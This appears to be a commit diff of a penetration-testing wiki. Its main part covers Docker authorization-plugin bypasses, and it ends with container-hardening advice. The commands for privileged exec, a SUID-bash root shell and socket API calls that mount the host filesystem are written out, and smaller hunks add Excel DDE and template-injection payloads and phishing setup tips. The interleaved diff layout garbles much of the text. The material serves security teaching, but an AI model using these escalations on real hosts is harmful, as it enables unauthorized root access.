UID PID PPID C STIME TTY TIME CMD root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp]
root 1 0 0 11:25 ? 00:00:01 /sbin/init root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events]
root 2 0 0 11:25 ? 00:00:00 [kthreadd] root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd]
root 3 2 0 11:25 ? 00:00:00 [rcu_gp] root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 4 2 0 11:25 ? 00:00:00 [rcu_par_gp] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
root 5 2 0 11:25 ? 00:00:00 [kworker/0:0-events] ...
root 6 2 0 11:25 ? 00:00:00 [kworker/0:0H-kblockd] ```
root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq]
root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ## Docker API Firewall Bypass
...
``` In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges.
## Docker API Firewall Bypass ### disallowed `run --privileged`
In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges. In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container:
### disallowed `run --privileged` ```bash
docker run -d --privileged modified-ubuntu
In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
```bash ```
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. However, a user can **create a shell inside the running container and give it the extra privileges**:
See 'docker run --help'.
``` ```bash
docker run -d --security-opt "seccomp=unconfined" ubuntu
However, a user can **create a shell inside the running container and give it the extra privileges**: #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
```bash ```
docker run -d --security-opt "seccomp=unconfined" ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host.
docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
``` ### Mount Writable Folder
Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host. In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder:
### Mount Writable Folder ```bash
host> cp /bin/bash /tmp #Cerate a copy of bash
In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
```bash docker container> chmod u+s /host/bash
host> cp /bin/bash /tmp #Cerate a copy of bash host> /tmp/bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell -p #This will give you a shell as root
docker container> chown root:root /host/bash ```
docker container> chmod u+s /host/bash
host> /tmp/bash {% hint style="info" %}
-p #This will give you a shell as root Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
```
**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
{% hint style="info" %}
Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges \(maybe modifying `/etc/shadow`\)
{% endhint %}
**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
### Unchecked JSON Structure
Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges \(maybe modifying `/etc/shadow`\)
{% endhint %} It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Binds**".
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root \(/\) folder of the host:
### Unchecked JSON Structure
```bash
It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Binds**". docker version #First, find the API version of docker, 1.40 in this example
In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root \(/\) folder of the host: docker images #List the images available
#Then, a container that mounts the root folder of the host
```bash curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker version #First, find the API version of docker, 1.40 in this example docker start f6932bc153ad #Start the created privileged container
docker images #List the images available docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#Then, a container that mounts the root folder of the host #You can access the host filesystem
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create ```
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it ### Unchecked JSON Attribute
#You can access the host filesystem
``` It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability:
### Unchecked JSON Attribute ```bash
docker version
It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API \([https://docs.docker.com/engine/api/v1.40/\#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)\) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS\_MODULE** capability: curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
```bash docker ps
docker version docker exec -it c52a77629a91 bash
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create capsh --print
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa #You can abuse the SYS_MODULE capability
docker ps ```
docker exec -it c52a77629a91 bash
capsh --print ## Seccomp in Docker
#You can abuse the SYS_MODULE capability
``` This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
## Seccomp in Docker {% page-ref page="seccomp.md" %}
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: ## AppArmor in Docker
{% page-ref page="seccomp.md" %} This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker:
## AppArmor in Docker {% page-ref page="apparmor.md" %}
This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: ## Use containers securely
{% page-ref page="apparmor.md" %} Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary.
## Use containers securely To help keep containers secure:
Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary. * Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag.
* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups.
To help keep containers secure: * [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) and enable only those that are required \(`--cap-add=...`\). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack.
* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries.
* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. * [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks.
* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. * Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(or SELinux\) profiles to restrict the actions and syscalls available for the container to the minimum required.
* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) and enable only those that are required \(`--cap-add=...`\). Many of workloads dont need any capabilities and adding them increases the scope of a potential attack. * Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images.
* [Use the “no-new-privileges” security option](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. * Regularly rebuild your images to apply security patches. This goes without saying.
* [Limit resources available to the container](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources). Resource limits can protect the machine from denial of service attacks.
* Adjust [seccomp](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(or SELinux\) profiles to restrict the actions and syscalls available for the container to the minimum required. ## References
* Use [official docker images](https://docs.docker.com/docker-hub/official_images/) or build your own based on them. Dont inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images.
* Regularly rebuild your images to apply security patches. This goes without saying. * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
## References * [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)

View file

@ -76,7 +76,7 @@ When checking the code of the Content Provider **look** also for **functions** n
![](../../../.gitbook/assets/image%20%28211%29.png) ![](../../../.gitbook/assets/image%20%28211%29.png)
![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png) ![](../../../.gitbook/assets/image%20%28254%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29%20%281%29.png)
Because you will be able to call them Because you will be able to call them

View file

@ -2,8 +2,7 @@
## **Introduction** ## **Introduction**
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection) [![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
**objection - Runtime Mobile Exploration** **objection - Runtime Mobile Exploration**
@ -144,7 +143,7 @@ android hooking search classes asvid.github.io.fridaapp
Now lets extract the methods inside the class _MainActivity:_ Now lets extract the methods inside the class _MainActivity:_
```text ```text
android hooking search methods asvid.github.io.fridaapp MainActivity android hooking search methods asvid.github.io.fridaapp MainActivity
``` ```
![](../../../.gitbook/assets/image%20%286%29.png) ![](../../../.gitbook/assets/image%20%286%29.png)

View file

@ -41,5 +41,5 @@ The good news is that **this payload is executed automatically when the file is
It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`** It's possible to execute a calculator with the following payload **`=cmd|' /C calc'!xxx`**
![](../.gitbook/assets/image%20%2825%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png) ![](../.gitbook/assets/image%20%2825%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%282%29%20%281%29.png)

View file

@ -70,9 +70,7 @@ Otherwise, you'll need to manually **test different language-specific payloads**
![](../.gitbook/assets/image%20%289%29.png) ![](../.gitbook/assets/image%20%289%29.png)
### Exploit
### Exploit
#### Read #### Read
@ -187,9 +185,9 @@ http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
### Handlebars \(NodeJS\) ### Handlebars \(NodeJS\)
* {{7\*7}} = Error * = Error
* ${7\*7} = ${7\*7} * ${7\*7} = ${7\*7}
* {{foobar}} Nothing * Nothing
```text ```text
wrtz{{#with "s" as |string|}} wrtz{{#with "s" as |string|}}
@ -224,12 +222,12 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
| **Template** | **Description** | | **Template** | **Description** |
| :--- | :--- | | :--- | :--- |
| {{: …}} | Evaluate and render output | | | Evaluate and render output |
| {{&gt; …}} | Evaluate and render HTML encoded output | | | Evaluate and render HTML encoded output |
| {{!}} | Comment | | | Comment |
| {{\* …}} and {{\*: …}} | Allow code \(disabled by default\) | | and | Allow code \(disabled by default\) |
* {{:7\*7}} = 49 * = 49
#### Client Side #### Client Side
@ -314,9 +312,9 @@ Django is going to be using as template engine **Jinja2**.
### Razor \(.Net\) ### Razor \(.Net\)
* `@(1+2)` * `@(1+2)`
* `@( //C#Code )` * `@( //C#Code )`
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**More information** **More information**
@ -349,7 +347,7 @@ If you think it could be useful, read:
* [Flask tricks](../pentesting/pentesting-web/flask.md) * [Flask tricks](../pentesting/pentesting-web/flask.md)
* [Python magic functions](../misc/basic-python/magic-methods.md) * [Python magic functions](../misc/basic-python/magic-methods.md)
## Tools ## Tools
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) * [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
@ -358,5 +356,3 @@ If you think it could be useful, read:
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

View file

@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION
## Enumeration ## Enumeration
``` ```text
nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx nmap -sV --script=iscsi-info -p 3260 192.168.xx.xx
``` ```
@ -27,16 +27,17 @@ This script will indicate if authentication is required.
**Note:** You may find that when your targets are discovered, they are listed under a different IP address. This tends to happen if the iSCSI service is exposed via NAT or a virtual IP. In cases like these, `iscsiadmin` will fail to connect. This requires two tweaks: one to the directory name of the node automatically created by your discovery activities, and one to the `default` file contained within this directory. **Note:** You may find that when your targets are discovered, they are listed under a different IP address. This tends to happen if the iSCSI service is exposed via NAT or a virtual IP. In cases like these, `iscsiadmin` will fail to connect. This requires two tweaks: one to the directory name of the node automatically created by your discovery activities, and one to the `default` file contained within this directory.
For example, you are trying to connect to an iSCSI target on 123.123.123.123 at port 3260. The server exposing the iSCSI target is actually at 192.168.1.2 but exposed via NAT. isciadm will register the *internal* address rather than the *public* address: For example, you are trying to connect to an iSCSI target on 123.123.123.123 at port 3260. The server exposing the iSCSI target is actually at 192.168.1.2 but exposed via NAT. isciadm will register the _internal_ address rather than the _public_ address:
``` ```text
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe 192.168.1.2:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[...] [...]
``` ```
This command will create a directory in your filesystem like this: This command will create a directory in your filesystem like this:
```
```text
/etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/ /etc/iscsi/nodes/iqn.1992-05.com.emc:fl1001433000190000-3-vnxe/192.168.1.2\,3260\,1/
``` ```
@ -57,7 +58,7 @@ sudo apt-get install open-iscsi
First of all you need to **discover the targets** name behind the IP: First of all you need to **discover the targets** name behind the IP:
``` ```text
iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260 iscsiadm -m discovery -t sendtargets -p 123.123.123.123:3260
123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe 123.123.123.123:3260,1 iqn.1992-05.com.emc:fl1001433000190000-3-vnxe
[2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382 [2a01:211:7b7:1223:211:32ff:fea9:fab9]:3260,1 iqn.2000-01.com.synology:asd3.Target-1.d0280fd382
@ -168,7 +169,5 @@ node.conn[0].iscsi.OFMarker = No
## **References** ## **References**
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} {% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" caption="" %}

View file

@ -320,7 +320,7 @@ The page www.mail-tester.com can indicate you if you your domain is being blocke
* Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._ * Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._
* You can leave blank the username and password, but make sure to check the Ignore Certificate Errors * You can leave blank the username and password, but make sure to check the Ignore Certificate Errors
![](../.gitbook/assets/image%20%28253%29%20%281%29%20%282%29%20%281%29%20%281%29.png) ![](../.gitbook/assets/image%20%28253%29%20%281%29%20%282%29%20%281%29%20%281%29%20%281%29.png)
{% hint style="info" %} {% hint style="info" %}
It's recommended to use the "**Send Test Email**" functionality to test that everything is working. It's recommended to use the "**Send Test Email**" functionality to test that everything is working.

View file

@ -16,7 +16,7 @@ If you could **run** for example a **Kali** Linux from a Live CD/USB you could u
### Online BIOS password recovery ### Online BIOS password recovery
Put the password of the BIOS **3 times wrong**, then the BIOS will **show an error messag**e and it will be blocked. Put the password of the BIOS **3 times wrong**, then the BIOS will **show an error messag**e and it will be blocked.
Visit the page [https://bios-pw.org](https://bios-pw.org) and **introduce the error code** shown by the BIOS and you could be lucky and get a **valid password** \(the **same search could show you different passwords and more than 1 could be valid**\). Visit the page [https://bios-pw.org](https://bios-pw.org) and **introduce the error code** shown by the BIOS and you could be lucky and get a **valid password** \(the **same search could show you different passwords and more than 1 could be valid**\).
## UEFI ## UEFI
@ -132,7 +132,3 @@ To check the valid recovery keys you can execute:
manage-bde -protectors -get c: manage-bde -protectors -get c:
``` ```

View file

@ -30,6 +30,17 @@ This will set the level 5:
reg add HKLM\SYSTEM\CurrentControlSet\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f reg add HKLM\SYSTEM\CurrentControlSet\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f
``` ```
Possible values:
```text
0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM
```
## Basic NTLM Domain authentication Scheme ## Basic NTLM Domain authentication Scheme
1. The **user** introduces his **credentials** 1. The **user** introduces his **credentials**